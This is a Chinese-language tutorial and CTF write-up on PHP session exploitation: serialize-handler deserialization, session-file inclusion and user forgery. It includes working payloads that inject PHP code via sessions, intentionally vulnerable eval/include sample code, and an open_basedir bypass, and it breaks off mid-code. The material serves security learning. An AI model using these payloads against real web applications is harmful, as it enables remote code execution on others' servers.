PHP session 常見利用點
0x1PHP session 簡介
0x1.1基本概念
session 概念: 一般稱為會話控制。session
物件儲存特定使用者會話所需的屬性及配置資訊。這樣,當用戶在應用程式的Web
頁之間跳轉時,儲存在session
物件中的變數將不會丟失,而是在整個使用者會話中一直存在下去。當用戶請求來自應用程式的Web
頁時,如果該使用者還沒有會話,則Web
伺服器將自動建立一個session
物件。當會話過期或被放棄後,伺服器將終止該會話。
PHP session概念:PHP session
是一個特殊的變數,用於儲存有關使用者會話的資訊,或更改使用者會話的設定。session
變數儲存的資訊是單一使用者的,並且可供應用程式中的所有頁面使用。 它為每個訪問者建立一個唯一的id (UID)
UID
來儲存變數。UID
儲存在cookie
中,亦或通過URL
進行傳導。
0x1.2會話流程
當開始一個會話時,PHP
會嘗試從請求中查詢會話ID
(通常通過會話cookie
), 如果請求中不包含會話ID
資訊,PHP
就會建立一個新的會話。 會話開始之後,PHP
就會將會話中的資料設定到$_SESSION
變數中。 當PHP
停止的時候,它會自動讀取$_SESSION
中的內容,並將其進行序列化, 然後傳送給會話儲存管理器來進行儲存。
預設情況下,PHP
使用內建的檔案會話儲存管理器(files
)來完成會話的儲存。 也可以通過配置項session.save_handler
來修改所要採用的會話儲存管理器。 對於檔案會話儲存管理器,會將會話資料儲存到配置項session.save_path
可以通過呼叫函式session_start()
來手動開始一個會話。 如果配置項session.auto_start
設定為1, 那麼請求開始的時候,會話會自動開始。
PHP
指令碼執行完畢之後,會話會自動關閉。 同時,也可以通過呼叫函式session_write_close()
來手動關閉會話。
0x1.3常見配置
在PHP
的安裝目錄下面找到php.ini
檔案,這個檔案主要的作用是對PHP
進行一些配置
session.save_handler = files #session的儲存方式
session.save_path = "/var/lib/php/session" #session id存放路徑
session.use_cookies= 1 #使用cookies在客戶端儲存會話
session.use_only_cookies = 1 #去保護URL中傳送session id的使用者
session.name = PHPSESSID #session名稱(預設PHPSESSID)
session.auto_start = 0 #不啟用請求自動初始化session
session.use_trans_sid = 0 #如果客戶端禁用了cookie,可以通過設定session.use_trans_sid來使標識的互動方式從cookie變為url傳遞
session.cookie_lifetime = 0 #cookie存活時間(0為直至瀏覽器重啟,單位秒)
session.cookie_path = / #cookie的有效路徑
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly標記增加到cookie上(指令碼語言無法抓取)
session.serialize_handler = php #PHP標準序列化
session.gc_maxlifetime =1440 #過期時間(預設24分鐘,單位秒)
0x1.4儲存引擎
PHP
中的session
中的內容預設是以檔案的方式來儲存的,儲存方式就是由配置項session.save_handler
來進行確定的,預設是以檔案的方式儲存。
儲存的檔案是以sess_PHPSESSID
來進行命名的,檔案的內容就是session
值的序列話之後的內容。
session.serialize_handler
是用來設定session
的序列話引擎的,除了預設的PHP
引擎之外,還存在其他引擎,不同的引擎所對應的session
的儲存方式不相同。
session.serialize_handler
有如下三種取值
儲存引擎 | 儲存方式 |
---|---|
php_binary | 鍵名的長度對應的 ASCII 字元+鍵名+經過 serialize() 函式序列化處理的值 |
php | 鍵名+豎線+經過 serialize() 函式序列處理的值 |
php_serialize | (PHP>5.5.4) 經過 serialize() 函式序列化處理的陣列 |
在PHP
中預設使用的是PHP
引擎,如果要修改為其他的引擎,只需要新增程式碼ini_set('session.serialize_handler', '需要設定的引擎')
,示例程式碼如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
以如下程式碼為例,檢視不同儲存引擎儲存的結果
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//這裡換不同的儲存引擎
session_start();
$_SESSION['username'] = $_GET['username'];
?>
0x2PHP session 利用
0x2.1反序列化
當網站序列化儲存session
與反序列化讀取session
的方式不同時,就可能導致session
反序列化漏洞的產生。 一般都是以php_serialize
序列化儲存session
, 以PHP
反序列化讀取session
,造成反序列化攻擊。
0x2.1.1 有$_SESSION
賦值
例子
s1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>
s2.php
<?php
session_start();
class session {
var $var;
function __destruct() {
eval($this->var);
}
}
?>
s1.php 使用的是php_serialize
儲存引擎,s2.php 使用的是php
儲存引擎(頁面中沒有設定儲存引擎,預設使用的是php.ini
中session.serialize_handler
設定的值,預設為php
)
我們可以往 s1.php 傳入如下的引數
s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
此時使用的是php_seriallize
儲存引擎來序列化,儲存的內容為
接著訪問s2.php,使用的是php
儲存引擎來反序列化,結果
這是因為當使用php
引擎的時候,php
引擎會以 | 作為作為key
和value
的分隔符,那麼就會將a:1:{s:8:"username";s:47:"
作為session
的key
,將O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
作為value
,然後進行反序列化。
那串value
不符合"正常"的被反序列化的字串規則不會報錯嗎?這裡提到一個unserialize
的特性,在執行unserialize
的時候,如果字串前面滿足了可被反序列化的規則即後續的不規則字元會被忽略。
0x2.1.2 無$_SESSION
賦值
上面的例子直接可以給$_SESSION
賦值,那當代碼中不存在給$_SESSION
賦值的時候,又該如何處理?
檢視官方文件,可知還存在 PHP 還存在一個upload_process
機制,可以在$_SESSION
中建立一個鍵值對,其中的值可以控制。
以 Jarvis OJ 平臺的 PHPINFO 題目為例
環境地址:http://web.jarvisoj.com:32784/
index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
存在 phpinfo.php 檔案,由此可知session.upload_progress.enabled
為 On,session.serialize_handler
為php_serialize
,與 index.php 頁面所用的 PHP 儲存引擎不同,存在反序列化攻擊。session.upload_progress.name
為PHP_SESSION_UPLOAD_PROGRESS
,可以本地建立 form.html,一個向 index.php 提交 POST 請求的表單檔案,其中包括PHP_SESSION_UPLOAD_PROGRESS
變數。
form.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
使用 bp 抓包,在PHP_SESSION_UPLOAD_PROGRESS
的value
值123後面新增 | 和序列化的字串
0x2.2檔案包含
利用條件: 存在檔案包含,session
檔案的路徑已知,且檔案中的內容可控。session
檔案的路徑可從phpinfo
中得知,
或者進行猜測
/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
例子1:
session.php
<?php
session_start();
$_SESSION["username"]=$_GET['s'];
?>
include.php
<?php
include $_GET['i'];
?>
往 session.php 傳入一句話,寫入session
檔案中
session.php?s=<?php phpinfo(); ?>
在cookie
中PHPSESSID
值為k82hb2gbrj7daoncpogvlbrbcp
,即session
儲存的檔名為sess_k82hb2gbrj7daoncpogvlbrbcp
,路徑可以猜測一下,這裡為/var/lib/php/sessions/
include.php 檔案包含session
儲存檔案
/include.php?i=/var/lib/php/sessions/sess_k82hb2gbrj7daoncpogvlbrbcp
例子2:
XCTF2018-Final_bestphp
這裡就取其中的小部分程式碼
bestphp.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$func=isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
if(isset($_GET['file'])){
include $_GET['file'];
}
session_start();
$_SESSION['name']=$_POST['name'];
?>
這裡設定了open_basedir
,限制了我們讀取檔案的範圍,這裡session
檔案是儲存在/var/lib/php/session/
下,不在讀取的範圍裡,這裡可以考慮修改一下session
檔案儲存的位置。
session_start()
函式從PHP7
開始增加了options
引數,會覆蓋 php.ini 中的配置。
利用session_start
覆蓋 php.ini 檔案中的預設配置session.save_path
的值,並寫入
http://192.168.1.101/bestphp.php/?function=session_start&save_path=/var/www/html
post: name=<?=phpinfo();?>
成功包含 session 檔案
其實這個操作也可以由session_save_path()
函式來完成,但是這個函式傳入的引數是個字串,不適用於此題。
0x2.3使用者偽造
利用條件:知道所使用的PHP session
儲存引擎,以及session
檔案內容可控。
這裡就以2020虎符杯-babyupload 為例
index.php
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path